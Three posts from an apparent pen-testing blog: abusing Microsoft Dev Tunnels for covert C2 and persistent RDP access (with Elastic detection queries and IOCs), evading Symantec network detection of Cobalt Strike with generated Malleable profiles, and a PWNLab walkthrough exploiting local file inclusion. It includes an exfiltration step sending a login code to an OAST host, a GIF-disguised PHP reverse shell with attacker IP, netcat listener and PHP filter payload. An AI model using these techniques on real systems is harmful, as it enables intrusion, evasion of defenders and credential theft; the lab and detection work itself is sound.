Category: Pen Testing

Microsoft Dev Tunnels: Tunnelling C2 and More

Attackers are always looking for ways to blend into an environment, to establish a C2 channel undetected. Utilising legitimate tooling for their malicious activities is a common way that they achieve this.

From a defender’s standpoint, spotting activity that’s meant to blend in can be quite challenging. A SOC team, especially one experiencing alert fatigue, might often resort to checking a domain or hash on VirusTotal. If it’s a known domain or hash, particularly one signed or trusted by Microsoft, they might quickly label it as a false positive and move on.

Microsoft Dev Tunnels

Dev Tunnels allow developers to expose services running locally to remote hosts, across the internet and tunneled through Microsoft infrastructure. For example, let’s say I have a simple webserver running on my PC, I want a colleague to be able to test the web page I’ve created. I can use a Dev Tunnel to expose port 443 on my host. A Microsoft Dev Tunnel domain is generated *.devtunnels.ms, I provide the URL to my colleague, and they can access the web service on my local host, via the Microsoft URL.

I can expose any service via the Dev Tunnels, including RDP and SSH. With the ability to tunnel traffic using Microsoft domains, you can imagine why this would be an attractive concept to attackers.

There have been increased reports of threat actors utilising Microsoft Dev Tunnels and other legitimate remote tools in their campaigns. So, let’s walk through the different ways Dev Tunnels can be abused by attackers.

Scenario One: Using for C2

Firstly, using Dev Tunnels for C2. Take the diagram below as an example. A victim PC has executed a payload, and the C2 beacon is configured to connect to a Microsoft Dev Tunnels domain.

In most environments, the domain will pass through any proxy or firewall, due to the domain belonging to Microsoft. The traffic is then forwarded by Microsoft to the attacker’s machine.

Dev Tunnel Diagram

Creating a tunnel

Meanwhile, if we look at the attacker’s perspective, all they need to do is install the dev tunnel binary, which is available on Mac, Linux, and Windows.

Some key details on establishing a tunnel below:

  • Authentication: To create a tunnel, you need to authenticate to either a personal GitHub or Microsoft Account. Obviously setting up an account with either is trivial.
  • Anonymous Access: You can configure a tunnel to allow anonymous access, allowing anyone to connect to your tunnel.
  • Tunnel ID: Following the creation of a tunnel, a tunnel ID is generated, this is used to connect two endpoints together through a tunnel.

The highlighted URL below is what we will use for our C2 beacon.

Dev Tunnel C2 URL

Establishing C2

The process for utilising a Dev Tunnel domain for C2 traffic will be similar across different C2 frameworks. Below is an example of creating a listener in Cobalt Strike.

  1. Select Beacon Type, usually HTTPS.
  2. Define the HTTPS host to listen on, in this case, it would be our tunnel domain, 8kl69l904-443.uks1.devtunnels.ms
  3. Define the HTTPS host (stager), the IP of your team server.
  4. Select HTTPS Port, 443.
Dev Tunnel Cobalt Strike

Example Event

In the event shown below, we can see connections to our tunnel domain, from our beacon process. The beacon process is a fake OneDrive binary, which has a forged Microsoft certificate.

@timestampdns.question.nameprocess.code_signature.subject_nameprocess.nameuser.nameprocess.code_signature.trusted
Sep 1, 2024 @ 11:44:50.1698kl6l904-443.uks1.devtunnels.mswww.microsoft.comOneDrive.exepaulfalse
Sep 1, 2024 @ 11:44:50.1488kl6l904-443.uks1.devtunnels.mswww.microsoft.comOneDrive.exepaulfalse
Aug 31, 2024 @ 23:00:18.6698kl6l904-443.uks1.devtunnels.mswww.microsoft.comOneDrive.exepaulfalse
Aug 31, 2024 @ 23:00:18.6498kl6l904-443.uks1.devtunnels.mswww.microsoft.comOneDrive.exepaulfalse
We’ve giving our payload a fake certificate, it’s signed, but not trusted.
Cobalt Strike Signed Binary
Elastic EDR Dev Tunnel Tree

Detecting Dev Tunnel C2

Detecting the usage of Dev Tunnels for C2 is challenging, as the Dev Tunnels binary does not need to be present on the target host. In cases where EDR or endpoint controls fail to detect the initial payload, detecting on network-based telemetry would be challenging. As expected, the TLS connections have a valid certificate as they are after all legitimate Microsoft domains.

Dev Tunnel Domain Signed

We can look to identifying C2 traffic by looking for constant connections to the Dev Tunnel domains over sustained periods. C2 traffic

Dev Tunnel C2 Detect

Below is the query used in TimeLion to generate the above:

.es(
  index='.ds-logs-network_traffic*',
  q='destination.domain: *.uks1.devtunnels.ms',
  timefield='@timestamp',
  metric='count'
).bars(),
.es(
  index='.ds-logs-network_traffic*',
  q='destination.domain: *.uks1.devtunnels.ms',
  timefield='@timestamp',
  metric='cardinality:destination.domain'
).lines(width=2, stack=false).label("Unique Domains")

We can also use a more generic C2 detections methods, looking for high volume connections to single domains. The below shows count of connections to single domains over a 24 hour period. We can see clear outliers to our Dev Tunnel C2 domains, where constant connections are made.

Dev Tunnel C2 Detect

Network with Endpoint Telemetry

Many EDR products now are able to join domain requests with the process responsible for making the request. You can also usually enrich the binary with certificate information, looking for connections to dev tunnel domains from a non-signed or untrusted certificate can also be a method of detection.

dns.question.name : *.uks1.devtunnels.ms and process.code_signature.trusted<br>: false  

This however will not help for payloads running from a trusted source. For example sideloading or injecting a payload into a trusted process like Outlook will be more difficult to detect.

As shown below, loading a secondary payload into Outlook, shows C2 to a trusted Microsoft Domain from a trusted Microsoft Process.

Dev Tunnels C2 from trusted Process

In these cases, anomaly C2 on the Dev Tunnel domains would be required. With analysts paying focus to the surrounding and contextual activity, like looking for unusual loads or injections into the process making the requests.


Using for Persistent Access

Dev Tunnels can be used for more than just C2. As we said before, any port can be exposed for remote usage. Therefore, RDP and SSH are good candidates, allowing a threat actor to establish persistent remote access.

Ideally, we would want a scripted method of establishing and maintaining remote access via Dev Tunnels.

I created a simple PowerShell Script that does the following on a victim host.

  • Downloads a copy of Dev Tunnels and places it in a Windows Start-Up Location.
    • Download from: https://aka.ms/TunnelsCliDownload/win-x64
    • Place in: C:\Users\paul\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
  • Authenticates the Dev Tunnel process to an account.
    • More on this further down.
  • Sets up a tunnel, exposing port 3389 to allow for anonymous access.

Github Device Authentication

When first using Dev Tunnels on a device, you must authenticate. To do this in a scripted manner, we can use GitHub Device authentication:

devtunnel user login -g -d
Login with a GitHub account with device code login, if local interactive browser login isn’t possible

When this command is run, a device login code is written to the terminal. Using our PowerShell script, we can capture this code by writing it to a .txt file. We can then pull the string from the file, and send it to ourselves.

Dev Tunnel Script

We can use interactsh to receive the login code, but sending a POST request to our OAST domain from the PowerShell Script.

Dev Tunnel Git Login Code

We can then use the device code to authenticate to a our attacker GitHub account, via https://github.com/login/device

Dev Tunnel Git Auth

Establishing Tunnel

Now that we’ve authenticated, our PowerShell script can continue, by setting up a tunnel.

This is as easy as running a command like the one below. Port 3389 is being exposed and allows for anonymous login.

.\devtunnel.exe host -p 3389 -allow-anonymous

Dev Tunnel Setup via Script

Now that the tunnel is setup, we can authenticate to the same GitHub account from our attacker machine.

We can list out tunnels that are running within our account, and connect to the tunnel exposing RDP on our victim device by specifying the tunnel ID.

Dev Tunnel RDP

In order to connect via RDP we need to authenticate to a user on the device. If we do not already have a compromised user, we can brute force RDP via the tunnel.

Traffic is forwarded from local host, through the tunnel, to our victim host on port 3389. Therefor, to brute force, we specify local host as our target, and we’re able to brute force RDP on our victim host.

Dev Tunnel RDP Brute Force

Once we have an account to utilise, we can use a RDP client to connect. Again specifying the local host address as the the remote host, and authenticating with our compromised user.

Dev Tunnel RDP Connect
Dev Tunnel RDP Connect

This means you could in theory expose a host remotely, via a single PowerShell script, making it a candidate in phishing. This can be a method of bypassing RDP restrictions on a network, exposing internal hosts, remotely.

Detections

I’m using Elastic SIEM and Endpoint agent to collect telemetry and build custom detections.

Dev Tunnel Binary Execution Detection

In circumstances where an attacker has brought the Dev Tunnel binary onto disk, you could catch them with a simple:

Process.Name:devtunnel.exe OR File.Name:devtunnel.exe

But any decent operator is going to rename the process to something else.

You could look for the initial download, via PowerShell or WinGet

CommandLine= "*winget install Microsoft.devtunnel*"
OR 
URL= "*https://aka.ms/TunnelsCliDownload/win-x64*"

But again, these are easy to bypass, and an attacker will likely bring the tool down from their own infrastructure.

A more robust way of detection is took look for a certain DLL that the tunnel requires for operation. Looking at module load events and there’s a variety of DLLs loaded by the devtunnel.exe, but one sticks out as an easy detection, devtunnel.dll.

event.action: "load" and dll.name: "devtunnel.dll"

The DLL is loaded from a temp .net directory that is created on execution. This is a behaviour that an attacker would not be able to manipulate.

Tunnelling RDP Detection

You’ll notice the source IP in the logs for this activity is displayed as ::1, this is the loopback address for the host, or 127.0.0.1. As we are forwarding traffic from local host on our attacker machine from our victim machine, this is the address that is displayed.

Dev Tunnel RDP

Interestingly the logon type is captured as type 3, rather than type 10. The below query will show both successful and failed logons originating from a loopback address. Putting this into a detect would likely generate a lot of noise and FPs.

event.provider: "Microsoft-Windows-Security-Auditing" and event.code: 4625 or event.code : 4624 and (source.ip : "::1" or source.ip : 127.0.0.1)

Instead we can use a threshold detection to attempt to detect suspected brute forcing, from a loopback address.

Dev Tunnel RDP Brute Force Detect
Dev Tunnel RDP Brute Force Detect
Dev Tunnel RDP Brute Force Detect

Incident Response Triage & Logging

Unfortunately there is very little in the way of logging for Dev Tunnels. Unlike Microsoft VSCode Remote tunnels, which is a different implementation of the same underlying tunnel features, (more on how they can be abused another time), there is no dedicated logging for tunnel usage.

If you’re responding to an incident that involves the use of Dev Tunnels, and you do not have host or network telemetry, then your best option is to dump the Dev Tunnel process. We can get all the key information from the process dump.

Dev Tunnel URL from Memory
Dev Tunnel ID from Memory

Including the username the tunnel authenticated with.

Dev Tunnel username from Memory

Closing Thoughts

As shown, Dev Tunnels provide powerful capabilities that can be (and are) abused by Threat Actors, to make detection by Blue Teams more difficult. The best option is to outright block tunnel usage in the estate, this can be achieved by blocking the Dev Tunnel Domains listed below.

IOCs

File Hashes

FileNameSHA256
Devtunnel.execb2d8470a77930221f23415a57bc5d6901b89de6c091a3cfbc563e4bf0e7b4eb
devtunnel.dllc0513783d569051bdc230587729b1da881f7032c2ad6e8fedbbdcc61d813da25

Domains

DescriptionDomain
Dev Tunnel Domainglobal.rel.tunnels.api.visualstudio.com
Dev Tunnel Domain*.rel.tunnels.api.visualstudio.com
Dev Tunnel Domain*-data.rel.tunnels.api.visualstudio.com
Dev Tunnel Domain*.devtunnels.ms
GitHub Device Auth URL https://github.com/login/device
Tunnel Install URL https://aka.ms/TunnelsCliDownload/win-x64

Cobalt Strike – Bypassing C2 Network Detections

Intro

In this mini-post, we’re going to look at how to easily bypass network detections for Cobalt Strike beacons. Many AV products like Symantec Endpoint Protection (SEP) have network detection capabilities that monitor traffic passing through a device’s network interface. Additionally IDS and IPS also have basic detections for C2 traffic. These detections are basically looking for specific patterns in network packets.

For popular tools like Cobalt Strike the basic “out-of-the-box” settings for Beacons are fingerprinted by vendors, and therefore going to be detected.

In Cobalt Strike, Malleable profiles are used to define settings for the C2. You have a choice of different protocols for your C2 with HTTP, HTTPS and DNS being three popular ones. HTTP Beacons are easily detectable, due to the payload being unencrypted. For HTTPS connections, detections occur on the certificate used for encryption.

Like with any exploitation tool, if you use the default values it’s likely you’ll be detected. There are Malleable profiles available on GitHub which can be used and these will change your C2 settings from the default. However, these have also been fingerprinted, and will also generate a detection. The profiles available on GitHub are more aimed at testing your detection capability of different APTs and CrimeWare C2s seen in the wild in the past.

The Solution

Luckily Cobalt Strike Malleable C2 profiles are highly customisable. In fact, customisation is one of the reasons why Cobalt Strike is so popular and also so effective. You could write your own profile and there are some guides online that show you how to do this.

However, there is an easier way, C2 Concealer. The tool, created by FortyNorth Security, was released last year and features a Python Script which will generate a C2 Profile based on a few variables defined by the user.

Demo

Installation is easy, just clone the GitHub repo, and run the install script.

Once the install is complete, run the script and define a hostname you wish to use.

C2concealer --hostname newtpaul.com  --variant 1                                                                                                                                                         

Next, C2Concealer will scan your host to locate where c2lint is located. C2lint is a tool included with CobaltStrike which is used to test/troubleshoot profiles before they’re used.

C2 Concealer

Once the scanning is finished, you’ll be asked to choose an SSL option. Using a legit LetsEncrypt cert is obviously going to be the most effective at avoiding detection. However, that requires you to point the A record at your team sever. For the purposes of this, we’ll just use a self-signed cert.

C2 Concealer

You’ll be asked to fill out some basic information for the cert. It doesn’t matter too much what you put here.

Once it’s complete you should receive confirmation that the profile has passed the c2lint check. The name of the newly created profile will also be displayed.

C2 Concealer

Next, launch your team server, but this time defining the profile to load.

 sudo ./teamserver 192.168.1.21 *Password* ~/C2concealer/C2concealer/34c5a462.profile

Generate a new listener and a new payload of your choice.

Before VS After

Before using our newly created profile, SEP blocked outbound connections to our Cobalt Strike team server. This was when using just the default C2 profile.

symantec detection

However, after using our newly created profile, nothing was blocked and we were able to successfully establish a C2.

cobalt strike

Conclusion

And that brings this quick post to an end. I hope you found it useful! You can read a previous post I wrote on Cobalt Strike here.

Local File Inclusion Vulnerability Explained (with a bit of pentesting)

This post is going to look at a Local File Inclusion vulnerability and how it can be exploited to gain a shell on a web server. To demonstrate this I’m going to be using the PWNLab exercise from VulnHub as it uses a nice example of LFI and also requires some other basic pentest steps which I think are useful to know as well. I’ll be using ParrotOS as my “attacker” virtual machine.

What is LFI?

Local File Inclusion is a vulnerability which predominantly affects web applications that allows an attacker to read and execute files. There are many different types of LFI, in this example, we’ll be looking at a couple of examples which exploits LFI in PHP scripts. In most cases, LFI is caused by poor coding practice where variables are not properly defined or where sanitization is not used correctly, this can allow an attacker to upload or replace a file with their own malicious one, which is exactly what we’re going to do in this case.

Exploiting LFI

For those that wish to follow along, you can download the PWNLab VM image here.

To start we need to find out the IP address of our vulnerable device, we start by running a simple NMAP scan across the 192.168.1.0/24 range. We can see the IP address of our vulnerable device, and we can see from the NMAP scan that it’s running a web server, so let’s navigate to the IP in a web browser. We are greeted by a webpage with three buttons, the login and upload ones being of most interest. If we try to upload a file, we are told that we must log in first.

As always we’re going to need to perform some reconnaissance and scanning against this IP, as we know this is a web server, so our tool of choice in this instance is Nikto. For those who are unaware, Nikto is a vulnerability scanner which comes bundled in Kali, it focuses on vulnerabilities in web applications and is a really great tool. We run a Nikto scan on our target IP.

Straight away the first thing that jumps out at is the line

 /config.php: PHP Config file may contain database IDs and passwords.  

If we try to navigate to the page we’re greeted by a blank page. We can, however, try to read the contents of the PHP file. The command below uses a PHP-filter to bypass PHP execution by encoding the PHP code before it has a chance to execute and instead converts the output into base64.

http://192.168.1.72/?page=php://filter/convert.base64-encode/resource=config

We can then simply decode the output, where we are presented with the raw PHP code for the config file, which contains the login details to a database.

<?php
$server	  = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

It’s worth at this point to get the source code for the other pages on the webserver, we do this by running the same php://filter/convert command that we ran previously, but changing the resource to the other pages.

Firstly the Index page. Straight away we can see that it contains an “include” vulnerability where it’s reference a cookie called lang. We’ll make a note of that, and come back to it later.

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
	include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
	if (isset($_GET['page']))
	{
		include($_GET['page'].".php");
	}
	else
	{
		echo "Use this server to upload and share image files inside the intranet";
	}
?>
</center>
</body>
</html>

Next, we have the upload page, the main thing that sticks out here is that there is a whitelist on the type of file that can be uploaded to the webserver. It’s restricted to jpg, jpeg, gif, and png files, looking further down the code block we can see that it is not just the extension of the file that is whitelisted, but also the MIME type. If we want to upload a file onto the server, we’re going to have to bypass these whitelists.

<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
	<body>
		<form action='' method='post' enctype='multipart/form-data'>
			<input type='file' name='file' id='file' />
			<input type='submit' name='submit' value='Upload'/>
		</form>
	</body>
</html>
<?php 
if(isset($_POST['submit'])) {
	if ($_FILES['file']['error'] <= 0) {
		$filename  = $_FILES['file']['name'];
		$filetype  = $_FILES['file']['type'];
		$uploaddir = 'upload/';
		$file_ext  = strrchr($filename, '.');
		$imageinfo = getimagesize($_FILES['file']['tmp_name']);
		$whitelist = array(".jpg",".jpeg",".gif",".png"); 

		if (!(in_array($file_ext, $whitelist))) {
			die('Not allowed extension, please upload images only.');
		}

		if(strpos($filetype,'image') === false) {
			die('Error 001');
		}

		if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
			die('Error 002');
		}

		if(substr_count($filetype, '/')>1){
			die('Error 003');
		}

		$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

		if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
			echo "<img src=\"".$uploadfile."\"><br />";
		} else {
			die('Error 4');
		}
	}
}

?>

The final page, “login”, did not contain anything of interest so I’ve not included the decoded base64 code block.

Moving on, we know the index page has an include vulnerability on it, and we know that if we are logged into the site, we can upload an image onto the webserver. Our end goal is to get a shell to the web server, so our plan is to bypass the file filtering on the upload page and upload a shell script, where we will then exploit the include vulnerability on the index page to get it to execute our shell script. First, we need to login to the site.

So we’re going to try to connect to the database via MySQL with the credentials we’ve stolen from the config file, if we run a command to connect the MySQL database running on the webserver with the username ‘root’ and enter the decoded password, it works!

We can select to “use” the “Users” table and select all (*) entries. Three users are returned, with their passwords, which look to be encoded in base64.

TIP: When pen testing it’s always a good idea to note down any usernames or passwords you encounter in a notepad file, this makes them easily accessible and will save you having to keep decoding/decrypting them.

After decoding the passwords, we can try to login with one of the users’ credentials, and bingo, we’re in! And now we have access to upload a file. As mentioned before, I’m using ParrotOS, which comes bundled with some premade web shell scripts, we’re going to be using the php-reverse-shell.php script that’s located in the directory /usr/share/webshells/php/
If you’re not using ParrotOS you can find the Shell here on GitHub

If you remember from before there are restrictions on the type of files we can upload, so we need to make some changes to the file to bypass the whitelisting. We can bypass the MIME type filtering by placing ‘GIF89;‘ at the top of our shell script. We will also need to ensure the script uses the extension ‘.gif‘ as well. Finally, we need to change the IP address and port in the shell script, the IP address will be the IP address that we want the shell to connect to (so the IP address of your host machine) and the port can be anything that isn’t currently being used.

GIF89;
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.1.47';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';

Once that’s done, we save the file and upload it onto the webserver. The small changes worked and were able to bypass the file filtering. We can confirm that the file was successfully uploaded by navigating to the “upload directory” on the webserver (which in this case is located at http://192.168.1.72/upload). Here we can see the fake GIF file we uploaded, where the hash value of the file has been used to rename the file. We need to make a note of the new file name, as we’re going to need it in the next step.

For the next step, we’re going to be using Burp Suite. Firstly we need to intercept a page using the “Proxy” module in Burp, you’ll need to configure your browser to use Burp as a proxy, you can find a guide on how to do so here. Once that’s done, make sure you have “intercept” turned on within the proxy module in Burp, and navigate to any page on the Pwnlab web server. You should intercept something which looks similar to the image below.

The thing we are interested in here is the Cookie value, if you remember back to earlier the Cookie Lang contained an inclusion vulnerability. We’re going to point the Cookie Lang to our PHP shell script which we uploaded onto the server. To do this, right-click anywhere in the whitespace in the output of the page you intercepted in Burp intercept and select “send to repeater”. Now navigate to the repeater module in Burp and replace the cookie called lang with the path of the script we uploaded earlier which we noted down earlier.

Before forwarding this modified request on to the webserver, we need to set up a Netcat session to listen to the port we defined in the PHP script earlier, in this case it’s 1234. (Some readers may have noticed I’ve moved over to a Windows box, this is because I broke my ParrotOS VM, not for the first time!…)

We set up a session by using the command

-l -p 1234

Then we can “send” our modified HTTP GET request to the webserver from Burp, and boom, we should receive a shell in Netcat as shown below.

We then can upgrade our shell by running the below command.

python -c 'import pty;pty.spawn("bin/bash")'

And now we’re free to roam around on the web server and attempt to escalate our privileges.

Conclusion

That concludes this short post on LFI with a few other pen testing tricks thrown in. Although LFI is not a new topic, due to poor practice it’s still prevalent, and I thought that this lab exercise showed a good example of how it can be exploited and the damage that can be done.

Resources

PWNLab Image
Parrot OS
Burp Suite

Copyright © 2024 On The Hunt

Theme by Anders NorenUp ↑